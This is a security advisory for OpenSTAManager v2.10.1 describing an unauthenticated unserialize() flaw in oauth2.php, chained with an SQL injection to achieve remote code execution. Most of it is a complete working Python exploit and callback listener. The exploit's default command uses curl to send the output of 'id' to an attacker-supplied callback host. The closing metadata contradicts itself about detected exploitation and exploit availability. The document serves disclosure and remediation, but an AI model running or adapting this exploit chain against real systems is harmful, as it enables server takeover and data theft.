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GHSA-whv5-4q2f-q68g
No affected components available
Description
The oauth2.php file in OpenSTAManager is an unauthenticated endpoint ($skip_permissions = true). It loads a record from the zz_oauth2 table using the attacker-controlled GET parameter state, and during the OAuth2 configuration flow calls unserialize() on the access_token field without any class restriction.
An attacker who can write to the zz_oauth2 table (e.g., via the arbitrary SQL injection in the Aggiornamenti module reported in GHSA-2fr7-cc4f-wh98) can insert a malicious serialized PHP object (gadget chain) that upon deserialization executes arbitrary commands on the server as the www-data user.
Affected code
Entry point — oauth2.php
$skip_permissions = true; // Line 23: NO AUTHENTICATION
include_once __DIR__.'/core.php';
$state = $_GET['state']; // Line 28: attacker-controlled
$code = $_GET['code'];
$account = OAuth2::where('state', '=', $state)->first(); // Line 33: fetches injected record
$response = $account->configure($code, $state); // Line 51: triggers the chain
Deserialization — src/Models/OAuth2.php
// Line 193 (checkTokens):
$access_token = $this->access_token ? unserialize($this->access_token) : null;
// Line 151 (getAccessToken):
return $this->attributes['access_token'] ? unserialize($this->attributes['access_token']) : null;
unserialize() is called without the allowed_classes parameter, allowing instantiation of any class loaded by the Composer autoloader.
Execution flow
oauth2.php (no auth)
→ configure()
→ needsConfiguration()
→ getAccessToken()
→ checkTokens()
→ unserialize($this->access_token) ← attacker payload
→ Creates PendingBroadcast object (Laravel/RCE22 gadget chain)
→ $access_token->hasExpired() ← PendingBroadcast lacks this method → PHP Error
→ During error cleanup:
→ PendingBroadcast.__destruct() ← fires during shutdown
→ system($command) ← RCE
The HTTP response is 500 (due to the hasExpired() error), but the command has already executed via __destruct() during error cleanup.
Full attack chain
This vulnerability is combined with the arbitrary SQL injection in the Aggiornamenti module (GHSA-2fr7-cc4f-wh98) to achieve unauthenticated RCE:
- Payload injection (requires admin account): Via
op=risolvi-conflitti-database, arbitrary SQL is executed to insert a malicious serialized object intozz_oauth2.access_token - RCE trigger (unauthenticated): A GET request to
oauth2.php?state=<known_value>&code=xtriggers the deserialization and executes the command
Persistence note: The risolvi-conflitti-database handler ends with exit; (line 128), which prevents the outer transaction commit. DML statements (INSERT) would be rolled back. To persist the INSERT, DDL statements (CREATE TABLE/DROP TABLE) are included to force an implicit MySQL commit.
Gadget chain
The chain used is Laravel/RCE22 (available in phpggc), which exploits classes from the Laravel framework present in the project's dependencies:
PendingBroadcast.__destruct()
→ $this->events->dispatch($this->event)
→ chain of __call() / __invoke()
→ system($command)
Proof of Concept
Execution
Terminal 1 — Attacker listener:
python3 listener.py --port 9999
Terminal 2 — Exploit:
python3 exploit.py \
--target http://localhost:8888 \
--callback http://host.docker.internal:9999 \
--user admin --password <password>
<img width="638" height="722" alt="image" src="https://github.com/user-attachments/assets/e949b641-7986-44b9-acbf-1c5dd0f7ef1f" />
Observed result
Listener receives:
<img width="683" height="286" alt="image" src="https://github.com/user-attachments/assets/89a78f7e-5f23-435d-97ec-d74ac905cdc1" />
The id command was executed on the server as www-data, confirming RCE.
HTTP requests from the exploit
Step 4 — Injection (authenticated):
POST /actions.php HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded
op=risolvi-conflitti-database&id_module=6&queries=["DELETE FROM zz_oauth2 WHERE state='poc-xxx'","INSERT INTO zz_oauth2 (id,name,class,client_id,client_secret,config,state,access_token,after_configuration,is_login,enabled) VALUES (99999,'poc','Modules\\\\Emails\\\\OAuth2\\\\Google','x','x','{}','poc-xxx',0x<payload_hex>,'',0,1)","CREATE TABLE IF NOT EXISTS _t(i INT)","DROP TABLE IF EXISTS _t"]
Step 5 — Trigger (NO authentication):
GET /oauth2.php?state=poc-xxx&code=x HTTP/1.1
(No cookies — completely anonymous request)
Response: HTTP 500 (expected — the error occurs after __destruct() has already executed the command)
Exploit — exploit.py
#!/usr/bin/env python3
"""
OpenSTAManager v2.10.1 — RCE PoC (Arbitrary SQL → Insecure Deserialization)
Usage:
python3 listener.py --port 9999
python3 exploit.py --target http://localhost:8888 --callback http://host.docker.internal:9999 --user admin --password Test1234
"""
import argparse
import json
import random
import re
import string
import subprocess
import sys
import time
try:
import requests
except ImportError:
print("[!] pip install requests")
sys.exit(1)
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
BOLD = "\033[1m"
DIM = "\033[2m"
RESET = "\033[0m"
BANNER = f"""
{RED}{'=' * 58}{RESET}
{RED}{BOLD} OpenSTAManager v2.10.1 — RCE Proof of Concept{RESET}
{RED}{BOLD} Arbitrary SQL → Insecure Deserialization{RESET}
{RED}{'=' * 58}{RESET}
"""
def log(msg, status="*"):
icons = {"*": f"{BLUE}*{RESET}", "+": f"{GREEN}+{RESET}", "-": f"{RED}-{RESET}", "!": f"{YELLOW}!{RESET}"}
print(f" [{icons.get(status, '*')}] {msg}")
def step_header(num, title):
print(f"\n {BOLD}── Step {num}: {title} ──{RESET}\n")
def generate_payload(container, command):
step_header(1, "Generate Gadget Chain Payload")
log("Checking phpggc in container...")
result = subprocess.run(["docker", "exec", container, "test", "-f", "/tmp/phpggc/phpggc"], capture_output=True)
if result.returncode != 0:
log("Installing phpggc...", "!")
proc = subprocess.run(
["docker", "exec", container, "git", "clone", "https://github.com/ambionics/phpggc", "/tmp/phpggc"],
capture_output=True, text=True,
)
if proc.returncode != 0:
log(f"Failed to install phpggc: {proc.stderr}", "-")
sys.exit(1)
log(f"Command: {DIM}{command}{RESET}")
result = subprocess.run(
["docker", "exec", container, "php", "/tmp/phpggc/phpggc", "Laravel/RCE22", "system", command],
capture_output=True,
)
if result.returncode != 0:
log(f"phpggc failed: {result.stderr.decode()}", "-")
sys.exit(1)
payload_bytes = result.stdout
log(f"Payload: {BOLD}{len(payload_bytes)} bytes{RESET}", "+")
return payload_bytes
def authenticate(target, username, password):
step_header(2, "Authenticate")
session = requests.Session()
log(f"Logging in as '{username}'...")
resp = session.post(
f"{target}/index.php",
data={"op": "login", "username": username, "password": password},
allow_redirects=False, timeout=10,
)
location = resp.headers.get("Location", "")
if resp.status_code != 302 or "index.php" in location:
log("Login failed! Wrong credentials or brute-force lockout (3 attempts / 180s).", "-")
sys.exit(1)
session.get(f"{target}{location}", timeout=10)
log("Authenticated", "+")
return session
def find_module_id(session, target, container):
step_header(3, "Find 'Aggiornamenti' Module ID")
log("Searching navigation sidebar...")
resp = session.get(f"{target}/controller.php", timeout=10)
for match in re.finditer(r'id_module=(\d+)', resp.text):
snippet = resp.text[match.start():match.start() + 300]
if re.search(r'[Aa]ggiornamenti', snippet):
module_id = int(match.group(1))
log(f"Module ID: {BOLD}{module_id}{RESET}", "+")
return module_id
log("Not found in sidebar, querying database...", "!")
result = subprocess.run(
["docker", "exec", container, "php", "-r",
"require '/var/www/html/config.inc.php'; "
"$pdo = new PDO('mysql:host='.$db_host.';dbname='.$db_name, $db_username, $db_password); "
"echo $pdo->query(\"SELECT id FROM zz_modules WHERE name='Aggiornamenti'\")->fetchColumn();"],
capture_output=True, text=True,
)
if result.stdout.strip().isdigit():
module_id = int(result.stdout.strip())
log(f"Module ID: {BOLD}{module_id}{RESET}", "+")
return module_id
log("Could not find module ID", "-")
sys.exit(1)
def inject_payload(session, target, module_id, payload_bytes, state_value):
step_header(4, "Inject Payload via Arbitrary SQL")
hex_payload = payload_bytes.hex()
record_id = random.randint(90000, 99999)
queries = [
f"DELETE FROM zz_oauth2 WHERE id={record_id} OR state='{state_value}'",
f"INSERT INTO zz_oauth2 "
f"(id, name, class, client_id, client_secret, config, "
f"state, access_token, after_configuration, is_login, enabled) VALUES "
f"({record_id}, 'poc', 'Modules\\\\Emails\\\\OAuth2\\\\Google', "
f"'x', 'x', '{{}}', '{state_value}', 0x{hex_payload}, '', 0, 1)",
"CREATE TABLE IF NOT EXISTS _poc_ddl_commit (i INT)",
"DROP TABLE IF EXISTS _poc_ddl_commit",
]
log(f"State trigger: {BOLD}{state_value}{RESET}")
log(f"Payload: {len(hex_payload)//2} bytes ({len(hex_payload)} hex)")
log("Sending to actions.php...")
resp = session.post(
f"{target}/actions.php",
data={"op": "risolvi-conflitti-database", "id_module": str(module_id), "id_record": "", "queries": json.dumps(queries)},
timeout=15,
)
try:
result = json.loads(resp.text)
if result.get("success"):
log("Payload planted in zz_oauth2.access_token", "+")
return True
else:
log(f"Injection failed: {result.get('message', '?')}", "-")
return False
except json.JSONDecodeError:
log(f"Unexpected response (HTTP {resp.status_code}): {resp.text[:200]}", "-")
return False
def trigger_rce(target, state_value):
step_header(5, "Trigger RCE (NO AUTHENTICATION)")
url = f"{target}/oauth2.php"
log(f"GET {url}?state={state_value}&code=x")
log(f"{DIM}(This request is UNAUTHENTICATED){RESET}")
try:
resp = requests.get(url, params={"state": state_value, "code": "x"}, allow_redirects=False, timeout=15)
log(f"HTTP {resp.status_code}", "+")
if resp.status_code == 500:
log(f"{DIM}500 expected: __destruct() fires the gadget chain before error handling{RESET}")
except requests.exceptions.Timeout:
log("Timed out (command may still have executed)", "!")
except requests.exceptions.ConnectionError as e:
log(f"Connection error: {e}", "-")
def main():
parser = argparse.ArgumentParser(description="OpenSTAManager v2.10.1 — RCE PoC")
parser.add_argument("--target", required=True, help="Target URL")
parser.add_argument("--callback", required=True, help="Attacker listener URL reachable from the container")
parser.add_argument("--user", default="admin", help="Username (default: admin)")
parser.add_argument("--password", required=True, help="Password")
parser.add_argument("--container", default="osm-web", help="Docker web container (default: osm-web)")
parser.add_argument("--command", help="Custom command (default: curl callback with id output)")
args = parser.parse_args()
print(BANNER)
target = args.target.rstrip("/")
callback = args.callback.rstrip("/")
state_value = "poc-" + "".join(random.choices(string.ascii_lowercase + string.digits, k=12))
command = args.command or f"curl -s {callback}/rce-$(id|base64 -w0)"
payload = generate_payload(args.container, command)
session = authenticate(target, args.user, args.password)
module_id = find_module_id(session, target, args.container)
if not inject_payload(session, target, module_id, payload, state_value):
log("Exploit failed at injection step", "-")
sys.exit(1)
time.sleep(1)
trigger_rce(target, state_value)
print(f"\n {BOLD}── Result ──{RESET}\n")
log("Exploit complete. Check your listener for the callback.", "+")
log("Expected: GET /rce-<base64(id)>")
log(f"If no callback, verify the container can reach: {callback}", "!")
if __name__ == "__main__":
main()
Listener — listener.py
#!/usr/bin/env python3
"""OpenSTAManager v2.10.1 — RCE Callback Listener"""
import argparse
import base64
import sys
from datetime import datetime
from http.server import HTTPServer, BaseHTTPRequestHandler
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
BOLD = "\033[1m"
RESET = "\033[0m"
class CallbackHandler(BaseHTTPRequestHandler):
def do_GET(self):
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
print(f"\n {RED}{'=' * 58}{RESET}")
print(f" {RED}{BOLD} RCE CALLBACK RECEIVED{RESET}")
print(f" {RED}{'=' * 58}{RESET}")
print(f" {GREEN}[+]{RESET} Time : {ts}")
print(f" {GREEN}[+]{RESET} From : {self.client_address[0]}:{self.client_address[1]}")
print(f" {GREEN}[+]{RESET} Path : {self.path}")
for part in self.path.lstrip("/").split("/"):
if part.startswith("rce-"):
try:
decoded = base64.b64decode(part[4:]).decode("utf-8", errors="replace")
print(f" {GREEN}[+]{RESET} Output : {BOLD}{decoded}{RESET}")
except Exception:
print(f" {YELLOW}[!]{RESET} Raw : {part[4:]}")
print(f" {RED}{'=' * 58}{RESET}\n")
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.end_headers()
self.wfile.write(b"OK")
def do_POST(self):
self.do_GET()
def log_message(self, format, *args):
pass
def main():
parser = argparse.ArgumentParser(description="RCE callback listener")
parser.add_argument("--port", type=int, default=9999, help="Listen port (default: 9999)")
args = parser.parse_args()
server = HTTPServer(("0.0.0.0", args.port), CallbackHandler)
print(f"\n {BLUE}{'=' * 58}{RESET}")
print(f" {BLUE}{BOLD} OpenSTAManager v2.10.1 — RCE Callback Listener{RESET}")
print(f" {BLUE}{'=' * 58}{RESET}")
print(f" {GREEN}[+]{RESET} Listening on 0.0.0.0:{args.port}")
print(f" {YELLOW}[!]{RESET} Waiting for callback...\n")
try:
server.serve_forever()
except KeyboardInterrupt:
print(f"\n {YELLOW}[!]{RESET} Stopped.")
sys.exit(0)
if __name__ == "__main__":
main()
Impact
- Confidentiality: Read server files, database credentials, API keys
- Integrity: Write files, install backdoors, modify application code
- Availability: Delete files, denial of service
- Scope: Command execution as
www-dataallows pivoting to other systems on the network
Proposed remediation
Option A: Restrict unserialize() (recommended)
// src/Models/OAuth2.php — checkTokens() and getAccessToken()
$access_token = $this->access_token
? unserialize($this->access_token, ['allowed_classes' => [AccessToken::class]])
: null;
Option B: Use safe serialization
Replace serialize()/unserialize() with json_encode()/json_decode() for storing OAuth2 tokens.
Option C: Authenticate oauth2.php
Remove $skip_permissions = true and require authentication for the OAuth2 callback endpoint, or validate the state parameter against a value stored in the user's session.
Credits
Omar Ramirez
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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